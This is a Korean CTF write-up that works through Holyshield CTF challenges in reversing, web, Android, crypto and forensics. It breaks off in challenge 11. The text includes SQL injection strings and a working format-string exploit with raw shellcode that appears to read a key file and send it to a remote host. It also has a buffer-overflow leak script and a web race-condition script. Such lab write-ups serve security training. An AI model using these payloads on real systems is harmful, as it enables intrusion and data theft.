Holyshield CTF 풀이 SI0S I love hot girl (goal) & beat (bit)

Size: px
Start display at page:

Download "Holyshield CTF 풀이 SI0S I love hot girl (goal) & beat (bit)"

Transcription

1 Holyshield CTF 풀이 SI0S I love hot girl (goal) & beat (bit)

2 [ Table of Contents ] 1 번 3 Page 2 번 5 Page 3 번 7 Page 4 번 8 Page 5 번.. 13 Page 6 번.. 19 Page 7 번.. 23 Page 8 번.. 26 Page 9 번.. 28 Page 11 번. 32 Page 14 번. 37 Page 15 번. 42 Page - 2 -

3 1 번 문제 File은 ELF Binary와아래와같이알수없는 16진수숫자들의 List입니다. ffffffa8 ffffffb6 ffffffa0 ffffffa2 ffffffba ffffffa7 ffffffba ffffffa6 ffffffe1 ffffffd4 ffffff8a ffffffa8 ffffffb0 ffffffda ffffffba ffffffbb ffffff81 ffffff80 ffffffaa ffffffaf ffffffa8 ffffffe0 ffffffed ffffffd1 ffffffeb ffffffe5 ffffffe9 fffffff9 [ 그림 1-1] 16진수숫자 List l 16진수숫자값들을살펴보면, 4Byte 크기의음수인것을알수있습니다. 정확한값을알아내기위해해당 16진수숫자를부호있는 10진수로변환하는간단한 Script를만들어실행하였습니다. num[0] : -88 num[1] : -74 num[2] : -96 num[3] : -94 num[4] : -70 num[5] : -89 num[6] : -70 num[7] : -90 num[8] : -31 num[9] : -44 num[10] : -118 num[11] : -88 num[12] : -80 num[13] : -38 num[14] : -70 num[15] : -69 num[16] : -127 num[17] : -128 num[18] : -86 num[19] : -81 num[20] : 88 num[21] : -32 num[22] : -19 num[23] : -47 num[24] : -21 num[25] : -27 num[26] : -23 num[27] : -7 [ 그림 1-2] Script 출력후 ELF Binary는인자로문자열을받고문자열의길이만큼값을출력해주는 File 입니다. posquit0$./d75bf941d9a3d98f059dcdb00caa07f3 Error!! posquit0$./d75bf941d9a3d98f059dcdb00caa07f3 aaaa aaaa posquit0$./d75bf941d9a3d98f059dcdb00caa07f3 aaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaa posquit0$./d75bf941d9a3d98f059dcdb00caa07f3 aaaaaaaaaaaaaaaaaaaaaaaaaaab aaaaaaaaaaaaaaaaaaaaaaaaaaab [ 그림 1-3] ELF Binary 출력값 - 3 -

4 l 출력값들을비교해보면, 길이에따라각문자들이치환되는값이변하는것을알수있습니다. l 또한, 길이가같은경우에는치환되는값이고정되는것을확인할수있습니다. n 무차별대입하여주어진숫자들에해당하는값들을출력하는문자열을찾는것이빠르다고생각하여값을하나하나맞춰가며입력해보았습니다. posquit0 $./d75bf941d9a3d98f059dcdb00caa07f3 password_is_c4tsecur1ty_allz password_is_c4tsecur1ty_allz [ 그림 1-4] Key - 4 -

5 2 번 해당문제 Page 가열려있지않아서 Screenshot 은첨부하지못했습니다. Web Page 와 Login Page 가있었고, Login Page 에 SQL Injection 취약점이존재했습니다. 그리고, root / root 의계정이존재하는걸확인하고 ID 입력 Form 에는 ' and 1=2 or id='root'# 를, Password 입력 Form 에는 root 를입력하니 Login 이성공하였습니다. union 구문을 Filtering 하지않는것을확인하였으나, ' and 1=2 union select 'root','root'# 과같은 Query를요청하였을때 root로 Login이되지않았고, 조금더삽질해본결과 md5 Hash로저장된다는것을체크하고 0cc175b9c0f1b6a831c399e 과같은 Hash 값을 union 에집어넣어 Login이되는것을확인할수있었습니다. 하지만, 어떤 ID 로 Login 하였는지알수있는방법이없어서, Blind SQL injection 으로공격 하였습니다. [ 그림 2-1] Python Script l information_schema에서 Table name을추출하면 member01, 02 가있고, Column name도함께뽑아서 Data를조회해본결과, Web에서회원가입한 Data들은 member02로만들어가는것을확인하였습니다. l member01 Table의 Data들을전부추출하니 (2개의 member Table의구조는동일 ), - 5 -

6 id 가 key? key is? 인계정의 Password Column 에인증키가들어있었습니다. Ø Accent 실제공격 Query를더짧게 Coding 가능하였지만, 이것저것다른방향으로삽질하면서 Coding 하던것들은그냥둡니다. 지금고치기귀찮은건아니지만술이부족해서 Coding 하기가힘드네요 - 6 -

7 3 번 문제 File은 Image과 Android emulator file 입니다. 우선, Android SDK를사용하여 Emulator 를실행시켜보면화면잠금이걸려있었습니다. 이를해제하는방법은아래와같습니다. 1 주어진 Image file의 Android 기기화면에찍힌지문을확인하는것 2 DDMS를이용하여 data/system/gesture.key File을추출후해독하는것 3 /data/system/gesture.key File을삭제시키면암호를없애는것 화면잠금을해제한뒤 Emulator 를살펴보면, 남아있는정보는 SMS 뿐이었고연락처정 보는모두지워져있어송신자와수신자를알수없었습니다. 그러나, SMS 의내용중 Hint Page 를 Base64 Encoding 한값을발견할수있었습니다. Hint Page 에서, SMS Thread에서 Message 2개를지우면다음절차를알수있게된다고하였고, 수행후 Thread 내에서세로로첫글자를읽어보면 라는 URL이나옵니다. <style type='text/css'>.text font-size:40pt; font-family:fantasy;.secret font-size:6pt; i-luv:hong; font-2ndkey:n4 d0 8oyfr13nd; </style> </head> <body bgcolor='black'> <center> <font class='text'color='white'>dong won Tuna <table cellpadding='10' width='500' height='300'> <tr> <td align='left'><font class='text' color='red'>oh</td> <td align='right'><font class='text' color='yellow'> Oh</td> </tr> <tr> <td colspan='2' align='center'><img src='./handsome_tuna.gif'></img></td> l l [ 그림 3-1] Source 두번째 Key는 N4 d0 8oyfr13nd 이며, 첫번째 Key는문자 Message 를보낸사람의이름이라고합니다. 이를찾기위해 DDMS를이용하여모든 SQLlite DB파일을추출하여분석했지만, 알수가없었습니다. Image File을분석해본결과 Image 뒤에주소록 Data가붙어있었고, 이를통해보낸사람의이름이강참치임을알수있었습니다

8 4 번 DllMain 부분을분석해보면현재 Process의이름을확인하는부분이나옵니다 if (!GetModuleFileNameA(0, &FullPath_FileName, 260u) ) goto LABEL_19; if ( strrchr(&fullpathfilename, '\\') ) FileName = strrchr(&fullpath_filename, '\\') + 1; if ( FileName[1] == 't' && FileName[3] == 'r' && FileName[5] == 'r' && FileName[6] == 'a' && FileName[8] == 't' && FileName[11] == 'x' && FileName[12] == 'e' ) if ( fdwreason == 1 ) v5 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, 0, 0, &ThreadId); CloseHandle(v5); [ 그림 4-1] DllMain l File name의형식이 _t_r_ra_t xe 면계속진행이된다는것을알수있습니다. n 나중에눈치챘지만이는 starcraft.exe를검사하는부분이었습니다. while ( 1 ) if ( v68c2a0 == 49 ) if ( v68c2a1 == 49 ) if ( v68c2a2 == 49 ) if ( v68c2a3 == 49 ) if ( v68c2a4 == 49 ) if ( v68c2a5 == 49 ) [ 그림 4-2] StartAddress l 0x68c2a0[] 의값이숫자 1이맞는지를비교해나갑니다. l 0x68c2a0[] Memory 주소는미할당영역이므로, 해당 Memory 영역을할당받기위해 VirtualProtect(0x , 0x , 0x2000, 0x4) 함수를강제호출하여문제가요구하는값들을채워나가며진행을했었습니다

9 그후, sub_ (), sub_ (), sub_100011e0() 3개의자식함수를통해또다른조건들을비교합니다. do *(&v13 + v0) = v0 + 0x596845; ++v0; while ( v0 < 12 ); if ( *(_BYTE *)v13!= 'W' *v15!= 't' *v16!= 'e' *v18!= ''' *v20!= ' ' *v21!= 'E' *v23!= 'g' *v24!= 'e' ) result = 0; else byte_ f = 'W'; byte_ a = 'W'; v2 = *Dst; byte_ = v2; byte_ f = v2; v3 = *v15; byte_ b = v3; byte_ = v3; v4 = *v16; byte_ = v4; byte_ = v4; v5 = *v17; byte_ b = v5; - 9 -

10 byte_ d = v5; v6 = *v18; byte_ = v6; byte_ = v6; v7 = *v19; byte_ [0] = v7; byte_ = v7; v8 = *v20; byte_ = v8; byte_ = v8; v9 = *v21; byte_ c = v9; byte_ b = v9; v10 = *v22; byte_ e = v10; byte_ = v10; v11 = *v23; byte_ f = v11; byte_ = v11; v12 = *v24; byte_ d = v12; byte_ = v12; result = 1; [ 그림 4-3] sub_ () l 이번엔 0x596845[] 주소의값들을참조하며, 미할당 Memory주소입니다. l 마찬가지로 VirtualProtect() 함수를호출해서 Memory 영역을할당받은후, 문제가요구하는조건의값들을채워나갑니다. 그후, 해당값들을다시전역변수에복사하며, Code를잘살펴보면 *v17, *v19와같이조건에서비교하지않았던값들이사용됩니다. 그래서 *v17과 *v19 등에해당하는값들을앞서 starcraft.exe의이름을추측해서알아낸것처럼 *v13~*v24에해당하는값이 "Water's Edge" 라는문자열일것이라고가정하고다시진행을했습니다. (W_te_'s Edge까지만알아내고구글링하면 Water's Edge가나옴 )

11 sub_ () 함수를분석을마친후, sub_ () 와 sub_100011e0() 도위와같은방 법으로진행했으며, 크게중요해보이지는않는함수들이었습니다. 문제파일이요구하는모든비교조건들을만족시키면아래 Code 가실행됩니다. do v2 = *(&v4 + v1) ^ byte_ [v1]; *(_QWORD *)&pinputs.mi.mousedata = 0i64; *(_QWORD *)&pinputs.mi.time = 0i64; *(_QWORD *)&pinputs.mi.dx = v2; pinputs.type = 1; SendInput(1u, &pinputs, 28); Sleep(1u); pinputs.mi.dy = 2; SendInput(2u, &pinputs, 28); Sleep(1u); ++v1; while ( v1 < 42 ); *(_QWORD *)&pinputs.mi.dx = 0i64; *(_QWORD *)&pinputs.mi.mousedata = 0i64; *(_QWORD *)&pinputs.mi.time = 0i64; LOWORD(pInputs.mi.dx) = 13; pinputs.type = 1; SendInput(1u, &pinputs, 28); Sleep(1u); pinputs.mi.dy = 2; SendInput(2u, &pinputs, 28); [ 그림 4-4] 출력 Code l Hex-ray가 SendInput() 의구조체인자를 mousedata로해석해서오해할수있는데, 실제로는 keyboarddata 값들입니다. l 위 Code가실행되면 SendInput() 에의해임의의키보드입력값 (xor 연산으로얻어진 ) 이발생하면서화면에 "key is r37urn 7o 7h3 n4tur3 and 4t0m0s" 가출력됩니다

12 Ø Accent 저희는이같은과정으로풀었지만, 아마 Starcraft 게임을실행후문제의파일을 Dll injection 시키면 Chatting 창등에키가출력되는의도의문제였을것으로보입니다

13 5 번 FreeBSD 8.2의 ELF Binary 이며, Hex-Ray를이용해 De-compile 후분석했습니다. int cdecl client_callback(int client_fd) int v1; // void *str_su; // size_t v3; // unsigned int seed; // int v5; // size_t v6; // int v7; // int v8; // int v10; // [sp+14h] char buffer; // [sp+23h] char v12; // [sp+24h] char buf; // [sp+14fh] int16 v14; // [sp+1b3h] char src; // [sp+1bfh] int v16; // [sp+1c4h] char s; // [sp+2f0h] int v18; // [sp+41ch] int i; // [sp+420h] void *dest; // [sp+424h] FILE *fp; // [sp+42ch] int len; // [sp+430h] v18 = 0; memset(&s, 0, 0x12Cu); memset(&v16, 0, 0x12Cu); v14 = 0; memset(&buffer, 0, 0x12Cu); sub_8048d50(0); byte_804b165 = 115; sub_ (); sub_ ();

14 sub_8048ff0(); sub_ (); sub_80490c0(); sub_80490f0(); sub_ (); memset(&buffer, 0, 0x12Cu); v1 = strlen(&::s); sock_send(client_fd, &::s, v1); fp = fopen("/home/admin/text", "r"); len = sock_read(client_fd, (int)&buffer, 0x12Cu, 0xAu); check_length(&buffer); str_su = sub_8048ef0(); if ( strcmp(&buffer, (const char *)str_su) ) if (!strcmp(&buffer, &str_exit) ) exit(0); if (!strcmp(&buffer, &str_ls) ) sprintf(&s, "%s > /home/admin/text 2>&1", &buffer); system(&s); v6 = strlen(&s); memset(&s, 0, v6); for ( i = 0; ; ++i ) LOBYTE(v14) = fgetc(fp); if ( (_BYTE)v14 == -1 ) break; putchar((char)v14); if ( (_BYTE)v14 == 10 ) LOBYTE(v14) = 32; strcat(&s, (const char *)&v14); LOBYTE(v14) = 0; strcat(&s, "\n"); v7 = strlen(&s); sock_send(client_fd, &s, v7);

15 puts(&byte_8049faa); fclose(fp); exit(0); sprintf(&s, "%s %s: %s\n", &byte_804b3e4, &buffer, &byte_804b405); printf("%s", &s); v8 = strlen(&s); sock_send(client_fd, &s, v8); exit(0); strcpy(&buf, &::src); v3 = strlen(&buf); send(client_fd, &buf, v3, 0); sock_read(client_fd, (int)&v16, 0x12Cu, 10); check_length(&buffer); dest = malloc(0x64u); seed = time(0); srand(seed); memcpy(dest, "check", 6u); rand(); sprintf(&src, "%d", 0); strcat((char *)dest, &src); if ( strcmp((const char *)&v16, (const char *)dest) ) sock_send(client_fd, &byte_804b41c, 24); exit(0); sub_8048d50(1); v5 = strlen(&::s); sock_send(client_fd, &::s, v5); sock_read(client_fd, (int)&buffer, 300, 10); if (!strcmp(&buffer, &str_exit) ) exit(0); if ( strcmp(&buffer, &byte_804b419) ) sock_send(client_fd, "please into attack code: ", 25);

16 sock_read(client_fd, (int)&buffer, 300, 10); check_length(&buffer); v10 = 0; else sock_send(client_fd, "please into attack code: ", 25); sock_read(client_fd, (int)&v12, 0x12Cu, 10); printf(&buffer); // Vuln!! v10 = 0; return v10; [ 그림 5-1] ELF Binary Source Code l Server에접속하면 sh의 Prompt 생긴문자열을보내주고 Data 수신을기다립니다.. n su -> check0 -> vi 순으로문자열을전송해주면마지막에한번더 Data를전송받은뒤 printf 함수로 Format String 없이출력하기때문에 FSB 공격이가능하게됩니다.. Payload [close@got] + [close@got+2] + [formatstring] + [nop] + [shellcode] [ 그림 5-2] Payload 구조 마지막에많은 Data를전송받으므로 Shell code와 close@got를 Stack 주소로덮어무차별대입하는 Script를작성했습니다. exploit.py #!/usr/bin/python import time, os import pwn3r from socket import * #HOST = " " HOST = " " #HOST = " " PORT =

17 shellcode = "\x31\xc0\x68\x6b\x65\x79\x00\x89\xe3\x50\x53\xb0\x05\x50\xcd\x80\x89\xc3\x31\xc0\x31\x c9\x66\xb9\x05\x0d\x51\x89\xe6\x81\xee\x05\x0d\x00\x00\x56\x53\xb0\x03\x50\xcd\x80\x89 \xc5\x31\xc0\xb0\x06\x53\x50\xcd\x80\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x8 9\xc2\x68\x72\x8d\x01\x58\x68\xaa\x02\x1f\x40\x89\xe0\x6a\x10\x50\x52\x31\xc0\xb0\x62\x 50\xcd\x80\x31\xc0\x55\x56\x52\xb0\x04\x50\xcd\x80\x31\xc0\x40\x50\x50\xcd\x80" fsb = pwn3r.fsb() for addr in range(0xbfbfe800, 0xbfbfe000, -30): s= socket(af_inet, SOCK_STREAM) s.connect((host, PORT)) s.recv(1024) s.send("su\n") s.recv(1024) s.send("check0\n") s.recv(1024) s.send("vi\n") s.recv(1024) payload = fsb.getpayload(9,[hex(0x0804b304)],[hex(addr)],1)+"\x90"*100+shellcode+"\n" s.send(payload) s.close() pwn3r.fsb() class fsb: # # def pack(self, data): res = "" for i in range(0,4): res += chr(data % 0x100) data /= 0x100 return res # # def getpayload(self, OFFSET, DST, VAR, PADDING = 0):

18 DST = [long(k,16) for k in DST] VAR = [long(k,16) for k in VAR] DST2 = [] VAR2 = [] payload = "" if len(dst)!= len(var): print "Different range of DST, VAR" exit() for i in range(0, len(dst)): # redefine DST DST2.append(self.pack(DST[i])) if VAR[i] >= 0x10000: DST2.append(self.pack(DST[i]+2)) for j in range(0, len(var)): # redefine VAR VAR2.append(long(VAR[j]) % 0x10000) if VAR[j] >= 0x10000: VAR2.append(long(VAR[j]) / 0x10000) for i in range(0, len(dst2)): payload += DST2[i] bef = len(payload) + PADDING for j in range(0, len(var2)): now = VAR2[j] if bef!= now : if bef > now: count = (0x now) - bef elif bef < now: count = now - bef payload += "%1$" + str(count) + "c" payload += "%" + str(offset) + "$hn" OFFSET += 1 bef = now return payload [ 그림 5-3] Exploit.py

19 6 번 문제 Page에접근하면이미지로된로또번호 10개가보이고하단에 File을첨부할수있도록되어있습니다. 임의의 File을 Upload 하면틀렸다는 Message가출력되며, Source 보기를하면, Hidden field 3개 ( 로또번호, Timestamp, Checksum ) 가존재하며 File 첨부시함께전송되고있습니다. 그리고관리자에게 Mail 을보내는 Page 가 FCKeditor 로구현되어있습니다. FCKeditor 의버 전은 버전이었으며구글링을통해해당버전의취약점을찾을수있었습니다. 일반적으로알려져있는취약점들에대해서는 Patch가되어있는상태였고, Directory listing 이가능한주소인 을접근해보았다. 접근과동시에 XML 관련 Error를출력하였고, mand=getfoldersandfiles&type=images&currentfolder= 위주소로접근하게되면 Command에따라결과가달라지며결과물을 XML로뿌려주는것을확인할수있었습니다. + 첫번째로찾은 URL에두번째 URL의결과물을더하여아래의 URL이완성되었습니다. File&Connector= nnector.php?command=getfoldersandfiles&type=images&currentfolder= 경로의 Directory listing 을할수있게되었고, 10tt0_numb3r_f0r_s01v3.txt 라는눈에띄는파일을발견할수있었습니다. 그리고, Main Page에서 10tt0_numb3r_f0r_s01v3.txt 파일을업로드하면원본파일 ( 의내용이덮어써진다는사실을확인할수있었습니다. 문제를풀기위해전체적인과정을정리해보면아래와같습니다 1. Main page 접속 2. 해당 html의 Hidden form 중 lotto의 value를 10tt0_numb3r_f0r_s01v3.txt 에입력한후 Upload 3. lotto의 value를파일명으로작성한뒤업로드 ex) txt 4. Get key!

20 해당문제를풀기위해화면에보이는 lotto 번호를 10tt0_numb3r_f0r_s01v3 File 명으로첨부 하면되는데이때 Timestamp 값이변하기전에빠르게첨부되어야하는것으로보입니다. 따라서수동으로진행하긴어려워보여 python 으로작성한아래의 Code를수행해문제의 Key 값을확인하였습니다. import urllib, urllib2 import threading, time def attack(): headers = get = body = data = urllib.urlencode(body) headers['authorization']='basic ZWxvaTp0bGRya3ZoZm0=' req = urllib2.request(' data, headers) response = urllib2.urlopen(req) the_page = response.read() return the_page def encode_multipart_formdata(time, check,lotto,fname): BOUNDARY = '----WebKitFormBoundaryATKPURI5NBJeVZHV' CRLF = '\r\n' L = [] L.append("--" + BOUNDARY) L.append("Content-Disposition: form-data; name='lotto'") L.append('') L.append(lotto) L.append("--" + BOUNDARY) L.append("Content-Disposition: form-data; name='timestamp'") L.append('') L.append(time) L.append("--" + BOUNDARY) L.append("Content-Disposition: form-data; name='checksum'")

21 L.append('') L.append(check) L.append("--" + BOUNDARY) L.append("Content-Disposition: form-data; name='contents'; filename='"+fname+".txt'") L.append("Content-Type: text/plain") L.append('') L.append(lotto) L.append('--' + BOUNDARY + '--') L.append('') body = CRLF.join(L) content_type = 'multipart/form-data; boundary=%s' % BOUNDARY return content_type, body result = str(attack()) lotto=result[result.find("lotto\" value=")+14:result.find("lotto\" value=")+24] time=result[result.find("timestamp\" value=")+18:result.find("timestamp\" value=")+28] check=result[result.find("checksum\" value=")+17:result.find("checksum\" value=")+49] print lotto + " : " + time + " : " + check headers = body = '' print '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!' data = urllib.urlencode(body) content_type, body = encode_multipart_formdata(time, check,lotto,"10tt0_numb3r_f0r_s01v3") headers['cache-control']='max-age=0' headers['user-agent']='mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/ Safari/535.2' headers['accept']='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' headers['accept-encoding']='gzip,deflate,sdch' headers['accept-language']='ko-kr,ko;q=0.8,en-us;q=0.6,en;q=0.4'

22 headers['accept-charset']='windows-949,utf-8;q=0.7,*;q=0.3' headers['authorization']='basic ZWxvaTp0bGRya3ZoZm0=' headers['origin']=' headers['referer']=' headers['content-type']=content_type headers['content-length']=str(len(body)) req = urllib2.request(' body, headers) response = urllib2.urlopen(req) the_page = response.read() print str(the_page) [ 그림 6-1] Python Script

23 7 번 문제에주어진 URL에접속해보면, 다음과같은암호문이등장합니다. 5A6A597A E7A466A4F57466A5A6A68694D6D51775A F D D6A5A695A E6D4E6D5A6A526C4D A D D4D6A526C0D0A596A D4E6D4F413D3D [ 그림 7-1] Encrypted Message l ASCII Hex 값으로 Encoding 된것을알수있습니다. ASCII 값을 Decoding 하면다음과같은 Base64 값이나옵니다. ZjYzY2I3NzFjOWFjZjhiMmQwZTYxOTg4MTQ3YTUxMjZiZGQ4NmNmZjRlMDg4ZGU4MWI 4Y2RmMjRlYjE1 YmNmOA== [ 그림 7-2] Decrypted Message l ASCII Hex 값 0D0A를통해두개로분리된 Base64 값을볼수있습니다. n 풀면서알게된사실이지만, 이 Base64 값두개는이어진것입니다. ( 출제자께서왜이를분리시켜놓았는지알수가없군요 ) 이값을 Base64 Decoding 하면다음과같은값이나옵니다. f63cb771c9acf8b2 d0e a5126bdd86cff4e088de81b8cdf24eb15bcf8 posquit0$ python Python (r266:84292, Dec , 00:02:40) [GCC 4.4.5] on linux2 >>> len('f63cb771c9acf8b2d0e a5126bdd86cff4e088de81b8cdf24eb15bcf8') 64 [ 그림 7-3] Base64 Decode Message Hint로 Image 3장이들어있는 Folder를받았습니다. Image 이름을보면각각, 2, 5, 3D 인데, 크기가큰순서대로배열해보면 3D25가됩니다. 3DES로암호화된것을알수있으며, 무엇보다도암호의길이가 32 Byte이니보통 Block의크기를 8Byte로쓰는 3DES 의특성에딱맞았습니다. 그리고, Hint로 가주어졌습니다. 처음에보았을때는 3DES의 IV 값으로알았습니다. (8 Byte로맞아떨어짐 ) 또중복된숫자가없고 1~8까지의숫자로이루어진것으로보아 Permutation 배열도생각하게되었습니다. 그러나, 여러시도를해봐도 3DES 암호가풀릴기미가안보였습니다

24 한번은 과 soul이 3DES의두개의키값이고, 암호문의앞의 8Byte가 IV 값으로두기도했습니다.( 보통 3DES의경우 IV+ 암호문으로붙여서주어지기때문 ) 도통풀릴기미가안보여, 출제자분과대화를한뒤에몇번의시도후에암호를풀수있었습니다. 3DES 의 Key 값은 soul이었고, 32Byte 전체가암호문이며 IV 값은없었습니다.(ECB Mode으로 Encrypt 되어있었기때문 ) 3DES 암호를풀고나면다음의 Base64가나오는데, Permutation 배열을이용하여 Permutation 시켜주고 Base64를풀어주면 Key가나옵니다. #!/usr/bin/python import sys import chilkat crypt = chilkat.ckcrypt2() success = crypt.unlockcomponent("anything for 30-day trial") if (success!= True): print crypt.lasterrortext() sys.exit() crypt.put_cryptalgorithm("des") crypt.put_keylength(168) crypt.put_encodingmode("hex") crypt.put_ciphermode("ecb") crypt.setencodedkey("c291ba==","base64") crypt.put_paddingscheme(4) ciphertext="f63cb771c9acf8b2d0e a5126bdd86cff4e088de81b8cdf24eb15bcf8". upper() print ciphertext plaintext = crypt.decryptstringenc(ciphertext) print plaintext [ 그림 7-4] 3-DES Decrypt Source Code posquit0$./attack.py WBfDTR1BMtu0HXfdb91WFNN9YNpXwd== posquit0$./permu.py RDBfWTB1X0tuMHdfNW91bF9NdXNpYw== posquit0$ python

25 Python (r266:84292, Dec , 00:02:40) [GCC 4.4.5] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> 'RDBfWTB1X0tuMHdfNW91bF9NdXNpYw=='.decode('base64') 'D0_Y0u_Kn0w_5oul_Music' [ 그림 7-5] GET Key Ø Accent 보통 3DES는 EDE(Encrypt-Decrypt-Encrypt) 과정을거쳐서암호화하게됩니다. 즉, 3 개의 Key를사용하게됩니다. 하지만 3개의 Key를사용한결과와같은결과를내는 Key 1개가존재가능하다는연구결과로보통 Key 2개를사용합니다. (Encrypt 과정에같은 Key를사용하고, Decrypt 과정에다른 Key를사용 ) Key를 1개만사용할경우의문제점은또, Encrypt-Decrypt 과정에서다시 Plaintext로바뀌고마지막 Encrypt 과정만남게됩니다. 이번문제에서 3DES Key가 soul 하나만주어졌는데, 이게좀의아하네요. 또 3DES까지 Guessing으로풀었다고하여도, Base64 암호문의길이가 32Byte인데, Hint로 Permutation Table이주어지지않았다면, 어떻게풀었어야될지의문입니다

26 8 번 문제를다운받은후 MAC 에서 File 명령어를통해어떠한 File 인지확인하였습니다. [ 그림 8-1] File Type 확인 Unzip 명령어로 File 의압축을해제하였습니다. l [ 그림 8-2] Unzip Unzip 명령어를통해해당 File 의압축을해제하니 Skynet_Evid 이라는 File 이나왔으며, 이는 Disk Dump File 임을알수있습니다. l l [ 그림 8-3] Skynet Folder Winhex를통해해당 File을 Interpret 한후, Lucifer( 출제자 ) Directory 하위에 Skynet 이라는 Folder를발견하였습니다. n 그러나해당 Directory 하위에는아무런 File도없었습니다. MFT 번호 2368 임을확인하고, Folder 생성이후어떠한 File 이생성되었는지에대한단서를찾기위해다음 MFT Entry를보았습니다

27 Mouse scroll 을아래로내려바로다음 MFT(+1024 Byte) 를살펴보니 SPL 확장자를가진 Spool Data 들이발견되었습니다. [ 그림 8-4] MFT 2369(FP SPL) l 해당 File 의경로는 \Windows\System32\spool\PRINTERS\ 임을알수있고, 이를통해해당문제는 Spool Data 와관련이있음을알수있었습니다. 해당 File 이위치하는경로로가서의심스러운 File 을찾아보았습니다. l [ 그림 8-5] FP SPL FP SPL File 만 Modified 시간이다른것알수있으며, 이를통해해당 File 이출제자가낸 File 임을유추할수있습니다. SPL File Viewer 를통해해당 File 을읽어보니문서제목이 비밀문서취급규정 이었으며, Scroll 을아래로내려보니 Key 값을발견할수있었습니다. [ 그림 8-6] Key

28 9 번 File 명령을통해 Object File 임을확인할수있었습니다. cat]$ file mail mail: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped [test@localhost cat]$ [ 그림 9-1] File Type 확인 Winhex 로 String 을확인하여해당 Binary 가 Compile 된 Server 의정보를알아냈습니다. [ 그림 9-2] Compile Server 정보확인 운이좋게도 Redhat 9.0 Server 환경과딱맞아떨어졌습니다 ^-^ [test@localhost cat]$ gcc -v Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/3.2.2/specs Configured with:../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enableshared --enable-threads=posix --disable-checking --with-system-zlib --enable- cxa_atexit --host=i386-redhatlinux Thread model: posix gcc version (Red Hat Linux ) [test@localhost cat]$ [ 그림 9-3] gcc v Redhat Server에서 Linking을한후실행을시키고접속해보았습니다. [test@localhost cat]$ nc localhost 8989 ====Mail Service==== 1.Join 2.Sign up : 2 ID : win32virus Sign up Success!! Would you like to ?(y/n) : y Receive Address : a Mail Title : a

29 Mail Body : a [test@localhost cat]$ l l [ 그림 9-4] Linking 후접속 Join 을선택하면 User_info 라는 File에 ID를저장하고, Sign up 을선택하면 User_info에등록된 ID들중하나로 Login이가능합니다. Debugging을해본결과 Receive Address : 부분에서받는문자열과 User_info 에서불러온 24글자즉, 처음가입한아이디를알아내야함을알수있었습니다. IDA hex-ray로 Source를확인해보았습니다. if (!strncmp(buf, (const char *)&v10-264, v1-1) ) v2 = inet_ntoa((struct in_addr)*(&client_addr + 1)); sprintf(buf, "Your IP is %s\n", v2); v3 = strlen(buf); send_to(fd, buf, v3); argv = "/home/getkey/package"; v6 = inet_ntoa((struct in_addr)*(&client_addr + 1)); *(_DWORD *)buf = 0; execve("/home/getkey/package", &argv, 0); l [ 그림 9-5] Source Code 해당조건을만족하면 Client 의 IP 정보를받고 /home/getkey/package 를실행시 켜서시키는것으로보아, 아마 flag 를보내주는것으로추정됩니다. Writ 함수에서는 v4 변수크기는 136 인데비해, 1024만큼입력받습니다.. signed int cdecl Write_mail(int fd) int v2; // [sp+0h] [bp-c8h]@1 int v3; // [sp+20h] [bp-a8h]@1 int v4; // [sp+40h] [bp-88h]@1 send_to(fd, "Receive Address : ", 19); recv_from(fd, (int)&v3, 24, 10); send_to(fd, "Mail Title : ", 14); recv_from(fd, (int)&v2, 20, 10); send_to(fd, "Mail Body : ", 13);

30 recv_from(fd, (int)&v4, 1024, 10); return 1; [ 그림 9-6] Writ 함수 l BOF 취약점이있는함수입니다. l 취약점을통해 return address를 send@plt로덮고 Stack의 Data를읽어오게했더니여러번실행해도같은값을가져온것을확인했고, 이를통해 Random Stack환경이아니라는것을알게되었습니다. 24 글자를읽어들여서 Stack 에있는 buf 변수에저장하는것을볼수있습니다. v9 = fopen("/home/mailservice/user_info", "rt"); fgets(buf, 24, v9); l [ 그림 9-7] 취약한부분 고정 Stack 이므로 send@plt 를이용해 Stack 에있는데이터들을전송시켜서첫번째 로등록한아이디를알아낼수있습니다. Script Code 작성 #!/usr/bin/python from socket import * import time from struct import pack,unpack host = " " #host = " " port = 8989 for addr in range(0xbfffee7f,0xbfff0000,-10): pay = pay += a *140 pay += pack( <L,0x080489e0) # send_plt pay += aaaa pay += pack( <L,4) pay += pack( <L,addr) pay += pack( <L,500) pay += pack( <L,0)

31 s = socket(af_inet,sock_stream) s.connect((host,port)) s.recv(100) s.send("2\n") s.recv(100) s.send("win32virus\n") s.recv(100) s.send("y\n") s.recv(100) s.send("asdasd\n") s.recv(100) s.send("a\n") s.recv(100) s.send(pay) time.sleep(0.1) print s.recv(100) print hex(addr) s.close() l [ 그림 9-8] Python Script Python 으로, Stack의끝에있는 Data부터전송해주는 Code를작성하여수행하니 keykey@holyshield.net 이라는문자열을얻을수있었고 Server에접속하여입력하니 flag가있는 Packet이왔습니다

32 11 번 FreeBSD 8.2의 ELF Binary 이며, Hex-Ray를이용해 De-compile 후분석했습니다. int cdecl client_callback(int client_fd) char buf; // [sp+1ch] size_t nbytes; // [sp+1d8h] int v4; // [sp+1dch] int fd; // [sp+1e4h] nbytes = 0x1BCu; v4 = 512; fd = real_client(client_fd); if ( fd ) read(fd, &buf, nbytes); return 0; int cdecl real_client(int client_fd) int v1; // eax@1 int v2; // eax@2 int v3; // eax@3 int len; // eax@7 int v5; // eax@7 size_t v6; // eax@17 int v7; // eax@17 int v9; // [sp+14h] [bp-274h]@17 char buffer; // [sp+25h] [bp-263h]@1 char buf; // [sp+151h] [bp-137h]@2 const char v12[20]; // [sp+16fh] [bp-119h]@1 char nptr; // [sp+183h] [bp-105h]@3 char s; // [sp+186h] [bp-102h]@1 char v15; // [sp+188h] [bp-100h]@17 int v16; // [sp+278h] [bp-10h]@2 int batting; // [sp+27ch] [bp-ch]@3-32 -

